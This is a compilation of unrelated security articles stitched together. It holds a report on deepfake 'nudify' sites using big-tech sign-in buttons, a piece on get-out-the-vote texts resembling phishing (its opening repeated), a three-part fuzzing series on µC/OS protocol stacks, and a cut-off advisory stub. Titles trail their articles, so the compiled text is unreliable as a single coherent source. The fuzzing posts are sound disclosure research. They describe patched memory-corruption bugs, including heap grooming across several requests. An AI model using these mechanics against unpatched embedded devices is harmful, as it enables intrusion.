Single sign-on systems from several Big Tech companies are being incorporated into deepfake generators, WIRED found. Discord and Apple have started to terminate some developers’ accounts.

Major technology companies, including Google, Apple, and Discord, have been enabling people to quickly sign up to harmful “undress” websites, which use AI to remove clothes from real photos to make victims appear to be “nude” without their consent. More than a dozen of these deepfake websites have been using login buttons from the tech companies for months.

A WIRED analysis found 16 of the biggest so-called undress and “nudify” websites using the sign-in infrastructure from Google, Apple, Discord, Twitter, Patreon, and Line. This approach allows people to easily create accounts on the deepfake websites—offering them a veneer of credibility—before they pay for credits and generate images.

While bots and websites that create nonconsensual intimate images of women and girls have existed for years, the number has increased with the introduction of generative AI. This kind of “undress” abuse is alarmingly widespread, with teenage boys allegedly creating images of their classmates. Tech companies have been slow to deal with the scale of the issues, critics say, with the websites appearing highly in search results, paid advertisements promoting them on social media, and apps showing up in app stores.

“This is a continuation of a trend that normalizes sexual violence against women and girls by Big Tech,” says Adam Dodge, a lawyer and founder of EndTAB (Ending Technology-Enabled Abuse). “Sign-in APIs are tools of convenience. We should never be making sexual violence an act of convenience,” he says. “We should be putting up walls around the access to these apps, and instead we're giving people a drawbridge.”

The sign-in tools analyzed by WIRED, which are deployed through APIs and common authentication methods, allow people to use existing accounts to join the deepfake websites. Google’s login system appeared on 16 websites, Discord’s appeared on 13, and Apple’s on six. X’s button was on three websites, with Patreon and messaging service Line’s both appearing on the same two websites.

WIRED is not naming the websites, since they enable abuse. Several are part of wider networks and owned by the same individuals or companies. The login systems have been used despite the tech companies broadly having rules that state developers cannot use their services in ways that would enable harm, harassment, or invade people’s privacy.

After being contacted by WIRED, spokespeople for Discord and Apple said they have removed the developer accounts connected to their websites. Google said it will take action against developers when it finds its terms have been violated. Patreon said it prohibits accounts that allow explicit imagery to be created, and Line confirmed it is investigating but said it could not comment on specific websites. X did not reply to a request for comment about the way its systems are being used.

In the hours after Jud Hoffman, Discord vice president of trust and safety, told WIRED it had terminated the websites’ access to its APIs for violating its developer policy, one of the undress websites posted in a Telegram channel that authorization via Discord was “temporarily unavailable” and claimed it was trying to restore access. That undress service did not respond to WIRED’s request for comment about its operations.

**Rapid Expansion**

Since deepfake technology emerged toward the end of 2017, the number of nonconsensual intimate videos and images being created has grown exponentially. While videos are harder to produce, the creation of images using “undress” or “nudify” websites and apps has become commonplace.

“We must be clear that this is not innovation, this is sexual abuse,” says David Chiu, San Francisco’s city attorney, who recently opened a lawsuit against undress and nudify websites and their creators. Chiu says the 16 websites his office’s lawsuit focuses on have had around 200 million visits in the first six months of this year alone. “These websites are engaged in horrific exploitation of women and girls around the globe. These images are used to bully, humiliate, and threaten women and girls,” Chiu alleges.

Harmful 'Nudify' Websites Used Google, Apple, and Discord Sign-On Systems

Multiple media reports this week warned Americans to be on guard against a new phishing scam that arrives in a text message informing recipients they are not yet registered to vote. A bit of digging reveals the missives were sent by a California political consulting firm as part of a well-meaning but potentially counterproductive get-out-the-vote effort that had all the hallmarks of a phishing campaign.

Multiple media reports this week warned Americans to be on guard against a new phishing scam that arrives in a text message informing recipients they are not yet registered to vote. A bit of digging reveals the missives were sent by a California political consulting firm as part of a well-meaning but potentially counterproductive get-out-the-vote effort that had all the hallmarks of a phishing campaign.

Image: WDIV Detroit on Youtube.

On Aug. 27, the local Channel 4 affiliate **WDIV** in Detroit warned about a new SMS message wave that they said could prevent registered voters from casting their ballot. The story didn’t explain how or why the scam could block eligible voters from casting ballots, but it did show one of the related text messages, which linked to the site **all-vote.com**.

“We have you in our records as not registered to vote,” the unbidden SMS advised. “Check your registration status & register in 2 minutes.”

Similar warnings came from an ABC station in Arizona, and from an NBC affiliate in Pennsylvania, where election officials just issued an alert to be on the lookout for scam messages coming from all-vote.com. Some people interviewed who received the messages said they figured it was a scam because they knew for a fact they _were_ registered to vote in their state. WDIV even interviewed a seventh-grader from Canada who said he also got the SMS saying he wasn’t registered to vote.

Someone trying to determine whether all-vote.com was legitimate might visit the main URL first (as opposed to just clicking the link in the SMS) to find out more about the organization. But visiting all-vote.com directly presents one with a login page to an online service called bl.ink. DomainTools.com finds all-vote.com was registered on July 10, 2024. Red flag #1.

The information requested from people who visited votewin.org via the SMS campaign.

Another version of this SMS campaign told recipients to check their voter status at a site called **votewin.org**, which DomainTools says was registered July 9, 2024. There is little information about who runs votewin.org on its website, and the contact page leads to generic contact form. Red Flag #2.

What’s more, Votewin.org asks visitors to supply their name, address, email address, date of birth, mobile phone number, while pre-checking options to sign the visitor up for more notifications. Big Red Flag #3.

Votewin.org’s Terms of Service referenced a California-based voter engagement platform called **VoteAmerica LLC.** The same voter registration query form advertised in the SMS messages is available if one clicks the “check your registration status” link on voteamerica.org.

VoteAmerica founder **Debra Cleaver** told KrebsOnSecurity the entity responsible for the SMS campaigns telling people they weren’t registered is **Movement Labs**, a political consulting firm in San Francisco.

Cleaver said her office had received several inquiries about the messages, which violate a key tenet of election outreach: Never tell the recipient what their voter status may be.

“That’s one of the worst practices,” Cleaver said. “You never tell someone what the voter file says because voter files are not reliable, and are often out of date.”

Reached via email, Movement Labs founder **Yoni Landau** said the SMS campaigns targeted “underrepresented groups in the electorate, young people, folks who are moving, low income households and the like, who are unregistered in our databases, with the intent to help them register to vote.”

Landau said filling out the form on Votewin.org merely checks to see if the visitor is registered to vote in their state, and then attempts to help them register if not.

“We understand that many people are jarred by the messages – we tested hundreds of variations of messages and found that these had the largest impact on someone’s likelihood to register,” he said. “I’m deeply sorry for anyone that may have gotten the message in error, who is registered to vote, and we’re looking into our content now to see if there are any variations that might be less certain but still as effective in generating new legal registrations.”

Cleaver said Movement Labs’ SMS campaign may have been incompetent, but it wasn’t malicious.

“When you work in voter mobilization, it’s not enough to want to do good, you actually need to be good,” she said. “At the end of the day the end result of incompetence and maliciousness is the same: increased chaos, reduced voter turnout, and long-term harm to our democracy.”

To register to vote or to update your voter registration, visit vote.gov and select your state or region.

When Get-Out-The-Vote Efforts Look Like Phishing

This time, I’ll discuss why this approach is more challenging than simply substituting a socket file descriptor with a typical file descriptor.

Wednesday, August 28, 2024 12:00

So far in this series, I’ve developed a fuzzer for the µC/HTTP-server. As described in the previous post, this fuzzer reads from a file to enable compatibility with AFL++. That implementation only fuzzes a single request at a time. Although that single request fuzzer uncovered a few security vulnerabilities, there are complex and interesting object interactions and internal state transitions that occur when multiple requests are received in a single session. 

I wanted to be able to fuzz those interactions and transitions by providing a single test case file containing multiple requests. So, this time, I’ll discuss why this approach is more challenging than simply substituting a socket file descriptor with a typical file descriptor, and I’ll describe the feature I added to the open-source library libdesock to support multiple requests.

**Reading from a socket vs. reading from a file**

It’s a bit confusing thinking about solving this problem because socket communication is two-way communication with a request-response pattern, while reading from a file occurs one way. In a networking client/server model, the client will typically make a request of the server, and the server will respond before the client sends another request. 

The µC/HTTP-server works in a single thread so it completely processes and responds to the first request before ever reading from the socket descriptor for a second time. 

Our goal is to simulate multiple requests from the client using a single test case file. But what happens if we include two requests within the same test case file? The server code will read the available data from the file until it reaches EOF or fills the buffer.

For instance, suppose a test case file contains two complete HTTP requests. The buffer size of the µC/HTTP-server is 1,460 bytes and the length of our two requests combined are only 841 bytes. This means the entire test case fits within the buffer and is read into memory at once. The µC/HTTP-server will process the first HTTP request and then discard the remaining data in the buffer. Then, when the server code reads from the test case file again, it will have reached EOF while only actually processing the first request. 

To address this, we need a way to instruct the server to stop reading the file after processing the first request. This can be achieved by using a delimiter in the test case file. The delimiter should be a unique value that is unlikely to appear anywhere else in the request.

**libdesock **

To implement this strategy of using a delimiter to indicate where one request ends and another begins, I added a feature to an existing library called libdesock. The purpose of this library is to de-socket a network application to enable fuzzing. This is because fuzzers typically provide their test inputs via stdin while network applications expect their inputs from network connections. Typically, a network server application will call the libc functions socket, listen, accept and then read/recv. 

Libdesock operates by leveraging the Linux dynamic linker feature, LD_PRELOAD. When the LD_PRELOAD environment variable is set to the path of a shared object file, it instructs the dynamic linker to load that shared object before all others. As a result, when the dynamic linker searches for a symbol being called in the executable, it will first look in the shared object specified by the LD_PRELOAD environment variable. Normally, the symbols for the functions socket, listen, accept and read/recv are found within libc.so and executed from there. However, when LD_PRELOAD is set to libdesock.so, those symbols are found within the libdesock library and executed there instead. This allows libdesock to alter the behavior of those calls. By intercepting these calls, libdesock cleverly redirects recv/read to stdin rather than a network socket.

**Multiple request feature**

Originally, the libdesock code would read up to the size of the buffer used from stdin. This leads to the same issue as mentioned above when attempting to read multiple requests from an input file (stdin in this case): 

> “For instance, suppose a test case file contains two complete HTTP requests. The buffer size of the µC/HTTP-server is 1460 bytes and the length of our two requests combined are only 841 bytes. This means the entire test case fits within the buffer and is read into memory at once. The µC/HTTP-server will process the first HTTP request and then discard the remaining data in the buffer. Then, when the server code reads from the test case file again it will have reached EOF while only actually processing the first request.” 

To address this, I added a feature to the libdesock read code to look for a request delimiter while reading. If the delimiter is found, it returns all the data read before encountering the delimiter. On the next call to read, it will begin reading after the delimiter and search for another delimiter. This approach works for fuzzing multiple requests in most networked applications because these applications typically run a processing loop where read/recv is called, the data is processed, and then read/recv is called again. This loop continues until the connection is closed. As mentioned in the first blog post, it was necessary to modify the executable for fuzzing so that it would exit when read returns 0. This is crucial for fuzzing, as it indicates the executable has finished processing the test case and has exited normally. If you’d like to see the code, you can check out libdesock here.

**Vulnerability highlight**

This version of the µC/HTTP-server fuzzer, which supports multiple requests per test case, uncovered two additional vulnerabilities. In both instances, a vulnerability in the processing of the first request is exploited by the second request.

When disclosing these vulnerabilities, I discovered that much of the µC/HTTP-server codebase is shared across multiple products. The other affected products are the Silicon Labs Gecko Platform and Weston Embedded Cesium NET. All the vulnerabilities discussed here have been reported to the manufacturers in accordance with our Coordinated Disclosure Policy. Each of these vulnerabilities in the affected products has been patched by the corresponding manufacturer.

The following Snort rules will detect exploitation attempts against these vulnerabilities: 119:203:1 and 119:282:1. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall or Snort.org.

Below is an overview of each vulnerability.

**TALOS-2023-1726**

When processing the protocol version portion of an HTTP request, an integer underflow occurs, which leads to an extremely large value within the connection object’s buffer length p_conn->RxBufLenRem. In the next iteration of the processing loop, that large value is used as an argument when calling receive. This means that the next request wouldn’t be limited by the max buffer size (1,460 bytes), and an attacker could overflow the receive buffer directly with the second request. 

**TALOS-2023-1732**

In this vulnerability, a buffer overflow of one byte occurs when handling the header fields in an HTTP request. This one-byte overflow is significant because the µC/HTTP-server heap implementation stores a pointer to a free chunk of memory in the first four bytes of an allocation. This means that the one byte overwrite can modify the free chunk address which will be used as an allocation sometime in the future. Abusing this vulnerability required four requests. The first two were innocuous and caused specific heap allocations to occur (a technique known as “heap grooming”). The one-byte overwrite is triggered by the third request, while the fourth request leads to an improper allocation in the heap.

Both vulnerabilities involved modifications to global objects between requests. These types of interactions can be difficult to understand with static code analysis because it is not always obvious the order that functions will be called under specific circumstances. There are more of these types of complex vulnerabilities out there that could be revealed with multi-request fuzzing and I hope that using this file delimiter technique will lead to more of them being found and fixed. 

In Part 3, I write a TAP device driver to fuzz the µCOS TCP/IP implementation.

Fuzzing µCOS protocol stacks, Part 2: Handling multiple requests per test case

Any vulnerability in an RTOS has the potential to affect many devices across multiple industries.

Wednesday, August 28, 2024 12:00

This is the first post of a three-part series, where we will be delving into the intricacies of fuzzing µC/OS protocol stacks. The techniques I will discuss are universally applicable to various RTOS environments, though our focus will primarily be on µC/OS. 

I’ll highlight some of the strategic code modifications I implemented across different µC/OS components. The objective is to streamline the process of developing a fuzzing harness tailored for the µC/HTTP-server. In the second installment of this series, I’ll discuss a technique that I used for delivering multiple requests per fuzz test case. The third post will be like this one, as I’ll describe the code modifications that I made with the aim of fuzzing the µC/TCP-IP stack.

For a bit of context, µC/OS is an RTOS, or “Real-Time Operating System.” An RTOS is a specialized operating system designed to manage hardware resources and host applications that need to run in systems where timing is critical, such as in embedded systems, medical devices, or industrial controls. RTOSes haven’t been fuzzed as thoroughly as software that runs on desktop operating systems, primarily due to the complexities associated with setting up a fuzzing harness for these systems. 

Developing a harness for an RTOS requires more coding effort than what is typically required for a straightforward, single-line fuzzing harness used with desktop applications or libraries. 

Any vulnerability in an RTOS has the potential to affect many devices across multiple industries. It’s important to put these codebases through the same rigorous testing as is common for desktop operating systems. My hope is that the techniques described in this blog post series will encourage more widespread use of fuzzing of RTOS software components. 

Historically fuzzing RTOS code involved a custom hardware setup to fuzz the code in its native environment, or fuzzing on an emulated version of the system. However, when Weston Embedded made the full µC/OS source code openly available in 2020, it sparked my curiosity about whether there could be a less complex approach to fuzz this type of code.

The goals for my fuzzer are:

*   Use a modern fuzzing framework (I chose AFL++).
*   Modify the networking code to accept input from a file.
*   Handle multiple requests per test case (more on this in part 2).

Additionally, the constraints (self-imposed) for my HTTP fuzzer are:

*   A software-only solution.
*   Run natively on Linux.

With that in mind, I wanted to avoid using emulation or dedicated hardware for my fuzzer.

**Linux port**

To make use of a modern fuzzing framework like AFL++, I needed to write some code that would allow the µC/HTTP-server to operate on Linux instead of the native µC/OS kernel. However, I had to give some thought to what exactly I wanted my fuzzer to target and determine appropriate insertion points for my hooks that would enable this protocol implementation to run on Linux.

Below is a basic architecture diagram showing the software component structure of a µC/HTTP-server application. The blue highlight represents the components that I will be modifying to port the application to Linux. The orange highlight represents the code which is the target for the fuzzer.

The modular design of µC/OS makes it wonderful to work with for this type of fuzzing. The Kernel Abstraction Layer (KAL in the diagram) provides a common API that is utilized by each of their libraries. This makes it easy to create a custom KAL that either mimics the desired RTOS functionalities for my fuzzer or simply returns a success signal for features that aren't relevant to the fuzzing process. Although µC/OS provides a POSIX-compatible KAL that enables the µC/HTTP-server to run on Linux, I chose to create my own KAL interface to simplify the entire setup. 

The KAL lays out an API blueprint for operating system components like task management, locks, semaphores, timers, and message queues. In the case of µC/HTTP-server, the only KAL function it calls is KAL_TaskCreate, which means I only needed to implement this particular function in my custom KAL interface. Additionally, since the task in question is the main HTTP processing loop, I found a workaround by directly invoking the function itself within the KAL_TaskCreate function, bypassing the need for a more complex task creation process. Example code below:

    void  KAL_TaskCreate (KAL_TASK_HANDLE     task_handle,
                          void              (*p_fnct)(void  *p_arg),
                          void               *p_task_arg,
                          CPU_INT08U          prio,
                          KAL_TASK_EXT_CFG   *p_cfg,
                          RTOS_ERR           *p_err)
    {
        /* return success  */
        *p_err = RTOS_ERR_NONE;
        /* fake it and call the function */
        p_fnct(p_task_arg);
        return;
    }

**Networking port****Socket reads**

Much like the Linux port mentioned earlier, there is a network abstraction called NetSock within µC/OS's TCP/IP protocol suite which is like a POSIX socket in its functionality. For the purposes of this fuzzing project, my attention isn't on probing the underlying TCP/IP stack; instead, I'm focused on the µC/HTTP-server code. To ensure that the fuzzing input is fed directly to the µC/HTTP-server code without first passing through the TCP/IP code, I created a custom NetSock implementation. 

My ultimate goal for this fuzzer is to read network data from a file. However, it will simplify the testing and debugging process to use existing tools to send real network traffic to my application. Once my µC/HTTP-server application is working enough to load a web page in a browser, it shouldn’t be too difficult to redirect protocol data from a file. 

I decided to implement a NetSock to POSIX socket port. All that was required to do that was to call the POSIX counterpart within the NetSock API and return an appropriate µC/OS error code. Below is example code demonstrating receiving data from a socket:

    NET_SOCK_RTN_CODE  NetSock_RxData (NET_SOCK_ID          sock_id,
                                       void                *p_data_buf,
                                       CPU_INT16U           data_buf_len,
                                       NET_SOCK_API_FLAGS   flags,
                                       NET_ERR             *p_err)
    {
        *p_err = NET_SOCK_ERR_NONE;
        ssize_t recvLen = 0;
        recvLen = recv(sock_id, p_data_buf, data_buf_len, 0);
        if (recvLen < 0)
        {
            *p_err = NET_ERR_RX;
            return NET_SOCK_BSD_ERR_RX;
        }
        else if (recvLen == 0)
        {
            *p_err = NET_SOCK_ERR_RX_Q_EMPTY;
        }
        return recvLen;
    }
    

I then repeated this process for each of the NetSock_\* functions. I used the correct NetSock_\* function signature, called the corresponding POSIX socket function call and then returned an error code that was of the type NET_SOCK_RTN_CODE.

**File reads**

With my µC/HTTP-server application now properly responding to HTTP requests, the next step was to set it up for fuzzing by having the NetSock code read from a file instead of a real POSIX socket. There are a few different options of how to achieve reading from a file. The first is using a tool called libdesock. The way that file redirection works with this tool is that the library gets loaded by the Linux linker before other libraries by using LD_PRELOAD. This allows the libdesock library to intercept POSIX socket calls and redirect them to stdin and stdout. 

Since I was already well acquainted with modifying the NetSock code, another simple approach is to read from a file instead of calling recv within NetSock. To implement this, my µC/HTTP-server application takes a file name as an argument and stores a file pointer to that file in a global variable named curr_inputfd. Below is an example of “receiving” data from a file: 

    NET_SOCK_RTN_CODE  NetSock_RxData (NET_SOCK_ID          sock_id,
                                       void                *p_data_buf,
                                       CPU_INT16U           data_buf_len,
                                       NET_SOCK_API_FLAGS   flags,
                                       NET_ERR             *p_err)
    {
        ssize_t totalLen = 0;
    
        *p_err = NET_SOCK_ERR_NONE;
    
        totalLen = read(curr_inputfd, (char*)p_data_buf, data_buf_len);
    
        if (0 > totalLen)
        {
            /* return an error */
            *p_err = NET_ERR_RX;
            return NET_SOCK_BSD_ERR_RX;
            
        }
        else if (0 == totalLen)
        {
            /* we've read the whole file and we can leave*/
            *p_err = NET_SOCK_ERR_CLOSED;
        }
    
        return totalLen;
    }
    

It is important to note that the above code returns an error when the end of the file (EOF) is reached. This happens because NetSock_RxData is invoked within a processing loop, and the error serves as an indicator to the caller that this "socket" has been closed.

When fuzzing an application, it is crucial for the fuzzer to differentiate between a clean exit (normal program termination) and a crash. Additionally, the program should terminate after processing the fuzzed input. Therefore, I needed to make another code modification for fuzzing purposes, ensuring that the program exits after the file has been read and processed, resulting in a "normal" termination. 

Without this modification, the application would continue running in a processing loop, causing the fuzzer to mistakenly count this as a hang rather than a normal program termination, leading to false-positives for hangs.

By placing the exit in this location, it will be called during the typical execution flow of closing a connection. And, as noted above, when the error code NET_SOCK_ERR_CLOSED is returned from NetSock_RxData, it triggers the HTTPsConn_Close function, which subsequently terminates the program's execution.

**Memory errors**

A major benefit of porting my µC/HTTP-server application to run natively on Linux is that I can compile my application with AddressSanitizer. AddressSanitizer, or ASAN, is a compiler feature in GCC and Clang that can detect memory errors in C/C++. 

This can be a very valuable tool when used in conjunction with fuzzing to reveal software vulnerabilities. When ASAN is enabled, the application will crash when a memory error is encountered. 

Things like use after free, NULL pointer dereference, and buffer overruns will cause an immediate crash even if the test input would not have normally crashed the program. When ASAN causes a program to crash, it’s like an alarm bell going off for a vulnerability researcher (**“**Look over here, there are problems in this section of code!**”**). I wanted to use ASAN when running my fuzzer, but it didn’t work straight away for heap memory in my µC/HTTP-server application. This is because µC/OS provides its own heap implementation. 

ASAN works by tracking heap memory allocations made with glibc malloc, but my application doesn’t use malloc at all. The simplest solution that I produced was to add preprocessor macros to detect when the application was being compiled with ASAN and redirect the allocation to glibc malloc. Here’s an example of what I mean:

    void  *Mem_DynPoolBlkGet (MEM_DYN_POOL  *p_pool,
                              LIB_ERR       *p_err)
    {
    #ifdef __SANITIZE_ADDRESS__
        p_blk = malloc(p_pool->BlkSize);
        if (NULL == p_blk)
        {
            *p_err = LIB_MEM_ERR_POOL_EMPTY;
            return(DEF_NULL);
        }
        else
        {
            *p_err = LIB_MEM_ERR_NONE;
        }
        return (p_blk);
    
    #endif /*__SANITIZE_ADDRESS__*/

µC/OS provides developers the capability to define constraints on the heap's location and utilization with its specialized heap allocator. This feature is particularly useful in systems with limited memory, where developers require fine-tuned control over memory allocation. However, since my application is running on Linux, I'm not constrained by memory limitations, and I have access to the standard glibc malloc function. Simply calling malloc within Mem_DynPoolBlkGet  works because the caller of Mem_DynPoolBlkGet doesn’t care about the specific memory location of the pointer that's returned. Rather, it expects the pointer to reference a chunk of memory that's ready for use and meets the minimum size requirement. By making this minor adjustment to the code, I enabled the Address Sanitizer (ASAN) features I wanted, without affecting the rest of the application's functionality.

**Vulnerability highlight**

To this point, we’ve made strategic modifications to µC/OS code, creating a software-only fuzzing solution capable of running natively on Linux and accepting input from a file. The approach we discussed here has proven its efficacy by uncovering five unique vulnerabilities: TALOS-2023-1725 (CVE-2023-24585), TALOS-2023-1733 (CVE-2023-27882), TALOS-2023-1738 (CVE-2023-28379), TALOS-2023-1746 (CVE-2023-31247) and TALOS-2023-1843 (CVE-2023-45318).

When disclosing these vulnerabilities, I discovered that much of the µC/HTTP-server codebase is shared across multiple products. Other affected products are the Silicon Labs Gecko Platform and Weston Embedded Cesium NET. All the vulnerabilities discussed here have been reported to the manufacturers in accordance with our Coordinated Disclosure Policy. Each of these vulnerabilities in the affected products has been patched by the corresponding manufacturer.

The following Snort rules will detect exploitation attempts against these vulnerabilities: 119:201, 119:281, 1:12685, 1:39908. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall or Snort.org.

The next installment of this series will describe the complexities of handling multiple requests per test case — an enhancement that holds the potential to reveal even more vulnerabilities.

Fuzzing µC/OS protocol stacks, Part 1: HTTP server fuzzing

This is the final post in the three-part series that details techniques I used to fuzz two µC/OS protocol stacks: µC/TCP-IP and µC/HTTP-server.

Wednesday, August 28, 2024 12:00

This is the final post in the three-part series that details techniques I used to fuzz two µC/OS protocol stacks: µC/TCP-IP and µC/HTTP-server. 

The first post highlighted code modifications necessary for developing a fuzzing harness tailored for the µC/HTTP-server. The second discussed a technique for delivering multiple requests per fuzz test case. Finally, I’ll detail the code modifications required for fuzzing the µC/TCP-IP stack. Please refer to the first post in the series for a description of Real-Time Operating Systems (RTOS) and the motivations for this research project. 

My goals in fuzzing µC/TCP-IP are the same as for µC/HTTP-server:

*   Use a modern fuzzing framework (I chose AFL++).
*   Modify the networking code to accept input from a file.
*   Handle multiple requests per test case.

Self-imposed constraints:

*   A software-only solution.
*   Run natively on Linux.

I wanted to find a straightforward way to fuzz this code without relying on emulation or dedicated hardware. 

**Linux port**

To utilize the AFL++ fuzzing framework, this code must run on Linux rather than µC/OS. This is a similar challenge I faced in Part 1. This time, however, I opted to use the POSIX KAL implementation that µC/OS provided rather than develop my own. This architecture diagram shows the layout of the various software components of µC/OS. The blue highlight represents the components I will be modifying to port the application to Linux. The orange highlight represents the code that’s the fuzzer’s target.

With my µC/HTTP-server fuzzing harness, I decided against using the provided POSIX KAL implementation. The µC/HTTP-server code I was targeting did not use many of the OS components, so it was simple to implement my own minimalist KAL interface. In contrast, the µC/TCP-IP implementation uses a separate task for receiving data and uses semaphores and message queues requiring a more complete KAL implementation. 

Using the code provided by µC/OS felt like taking a shortcut. It was painless and worked right out of the box with only minor modifications. That’s not something that I can say for working with the networking side of things, which required a lot of development.

**Network port ****TAP device**

My primary goal for the fuzzer is to enable it to accept network data from a file. To start, I adopted the strategy I used for my µC/HTTP-server, which involves ensuring my program functions with actual network data. Doing this initially allows for more straightforward debugging and testing of my code, as I can use standard Linux utilities to send real network traffic to my program.

It was a bit more complicated to get data from the network to be processed by µC/TCP-IP than it was for µC/HTTP-server. This is because TCP/IP is a lower-level protocol than HTTP. HTTP is an application layer protocol while TCP/IP is a transport layer protocol. Typically, user mode applications interact with the network at the application layer via POSIX sockets or a NetSock for µC/OS. 

In Linux, when using sockets, the kernel manages the TCP/IP processing and only delivers application layer data to the user mode application. However, my challenge was that my user mode µC/TCP-IP application is intended to handle the TCP/IP protocol itself. To bypass the kernel’s TCP/IP stack, I utilized a TAP device — a purely software-based kernel virtual network device.

Although this module is called µC/TCP-IP, it actually covers multiple layers of the OSI model. The layers circled in orange indicate layers of the OSI model for which the µC/TCP-IP module will process:

The µC/TCP-IP code is expecting to receive an Ethernet frame, and it includes handlers for ARP, IP, TCP and UDP. Because µC/TCP-IP is expecting to receive Ethernet frames, a TAP device should be used because it transfers Ethernet frames unlike a TUN device which transfers IP packets. 

A TAP device is meant to be used by user space programs that attach to it. When the operating system sends packets to a TAP device, they are delivered to the attached user space program. Conversely, packets sent by the user-space program to the TAP device are injected into the kernel network stack as if they originated from an external source.

To use a TAP device, I wrote my own Ethernet device driver using the API provided by µC/TCP-IP. I needed to create and configure my TAP device with the driver and implement functions to transmit and receive data. Again, µC/OS was great to work with for this because their API was well-defined and documented. Additionally, there are dozens of device drivers in the µC/TCP-IP repository for various ethernet hardware. Having all this example code and documentation was immensely helpful. In implementing this, I used the open-source tapip utility as a guide for creating and configuring a TAP device within my µC/TCP-IP Ethernet driver.  

The most confusing part of this was visualizing the network topology involving the TAP device. I created and assigned the TAP device an IP address of 10.10.10.1 and the Linux kernel assigned it a MAC address of 46:31:92:b0:48:5b. For remote communication, I'd need to create a network bridge, but for testing, local communication is adequate. The TAP device that I created is given the name tap0 and even shows up when running ifconfig: 

I also needed to assign my µC/TCP-IP application its own MAC and IP addresses, effectively creating another virtual Ethernet device. This adds a layer of complexity, as it's a virtual ethernet device operating through another virtual Ethernet device. Within the µC/TCP-IP application I've set up a virtual Ethernet device with an IP address of 10.10.10.64 and a MAC address of 12:12:12:34:34:34. This setup is a bit confusing because it's not externally visible in the Linux system — it's exclusive to the µC/TCP-IP application, as if the application were running on a separate machine, with the tap interface acting as the link between the Linux host and the µC/TCP-IP application.

To validate the functionality of µC/TCP-IP, I developed an echo server running on port 10001. To test my setup, I used the Linux utility netcat to establish a TCP connection to the µC/TCP-IP application. When traffic is sent from a linux application using tap0 and the mac or ip address of the µC/TCP-IP virtual interface is provided, it will be processed by my application. To send a test message and establish a TCP connection, I could execute a netcat command such as echo 'test' | nc -N 10.10.10.64 10001. Here, the netcat tool operates through a socket connected to the tap0 interface. This socket uses the Linux kernel TCP/IP stack which will first send an ARP request from tap0’s address to broadcast to learn the corresponding MAC address for that IP address. Then, the µC/TCP-IP application will receive that broadcast message, process the request, and respond with its own MAC/IP address pair. Then, a TCP connection will be initiated using the MAC/IP address pair of the µC/TCP-IP application. The image below was captured using Wireshark attached to the tap0 interface. 

The µC/TCP-IP application is not using sockets when interacting with the tap0 interface, instead, it uses a file descriptor to directly read from and write the device. The result is that the µC/TCP-IP application is writing packet data directly to the network without modification. The diagram below shows how each of these components work together to establish the TCP connection shown above. 

**File reads**

At this point, I’ve confirmed that my µC/TCP-IP echo server works using netcat. The next step for fuzzing is to modify the Ethernet driver to read from a file instead of the TAP device. Although my Ethernet driver isn’t using sockets, it is still possible to use libdesock because it overrides the read and write from libc. However, this required some code modifications in addition to using LD_PRELOAD with libdesock. First, I needed to create a socket descriptor that libdesock would redirect to stdin. Since the µC/TCP-IP application does not use sockets when interacting with the tap0 interface, I had to utilize a libdesock debug function, _debug_instant_fd, which provides a file descriptor that is automatically redirected to stdin. 

Typically, libdesock would redirect a file descriptor when accept is called, but since this is happening at a lower level, I needed to use the file descriptor that libdesock provided with the call to _debug_instant_fd. I used a compile time flag to create this libdesock file descriptor instead of creating a tap device for my fuzzing build:

    #ifdef DESOCK_FUZZ
        /* calling _debug_instant_fd for libdesock */
        fd = _debug_instant_fd(0);
        p_dev_data->tunFd = fd;
    #else
        /* Create TAP device */
    

Then, I needed to add code to terminate the µC/TCP-IP echo server once the last request was read from the file.

           ret = read(p_dev_data->tunFd, p_dev_data->RxDataPtr, p_dev_data->rxSize);
    …
    #ifdef DESOCK_FUZZ
            } else if (0 == ret)
            {
                exit(0);
            }
    #else
    	/* Continue processing */

After those code modifications, when we use LD_PRELOAD with libdesock, our application will read request data from stdin. By utilizing libdesock I immediately gained support for handling multiple requests because of that added feature. For more information on how libdesock works, refer to Post 2 from this series. 

**Memory errors**

I wanted to use Address Sanitizer (ASAN) with my fuzz application, as it is designed to detect many different types of memory errors like use after free, NULL pointer dereference and buffer overruns. The heap implementation used by µC/TCP-IP is different from that of µC/HTTP-server, but I was able to employ the same technique that I described in Post 1 from this series.

**Vulnerability highlight**

Now, we've successfully adapted the µC/TCP-IP code to develop a fuzzing solution that operates solely in software, is native to Linux, and can process inputs from a file. The approach we discussed here uncovered two unique vulnerabilities: TALOS-2023-1828 and TALOS-2023-1829. One of which is a result of fuzzing multiple requests at a time.

When disclosing these vulnerabilities, I discovered that much of the µC/TCP-IP codebase is shared across multiple products. Silicon Labs Gecko Platform is also affected by TALOS-2023-1828. All the vulnerabilities discussed here have been reported to the manufacturers in accordance with our Coordinated Disclosure Policy. Each of these vulnerabilities in the affected products has been patched by the corresponding manufacturer.

The following Snort rules will detect exploitation attempts against these vulnerabilities: 119:201, 116:2 and 116:151.

**Conclusion **

Thank you for following along in this series about fuzzing µCOS protocol stacks. To recap, we created software-only fuzzing solutions for fuzzing µC/HTTP-server and µC/TCP-IP. The fuzzing solutions discussed here include the ability to run natively on Linux and accept input from a file. We also covered a feature contribution to libdesock which allows for multiple requests to be processed by the application in a single test case, resulting in more complex vulnerability findings. My hope is that the techniques described in this series will encourage others to fuzz other RTOS platforms to make these important systems more secure.

Below is a list of vulnerabilities that were disclosed because of this research presented in this blog series:

*   TALOS-2023-1725: Out-of-bounds write vulnerability
*   TALOS-2023-1726: Buffer overflow vulnerability
*   TALOS-2023-1732: Memory corruption vulnerability
*   TALOS-2023-1733: Heap-based buffer overflow vulnerability
*   TALOS-2023-1738: Memory corruption vulnerability
*   TALOS-2023-1746: Memory corruption vulnerability
*   TALOS-2023-1828: Denail of service vulnerability
*   TALOS-2023-1829: Double-free vulnerability
*   TALOS-2023-1843: Heap-based buffer overflow vulnerability

The following is a list of Snort rules that will detect exploitation attempts against these vulnerabilities: 119:201, 119:281, 1:12685, 1:39908, 119:203:1, 119:282:1, 116:2 and 116:151. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall or Snort.org.

Fuzzing µC/OS protocol stacks, Part 3: TCP/IP server fuzzing, implementing a TAP driver

MSMS-PHP version 1.0 suffers from an ignored default credential vulnerability.

**MSMS-PHP 1.0 Insecure Settings**

Posted Aug 28, 2024

Authored by indoushka

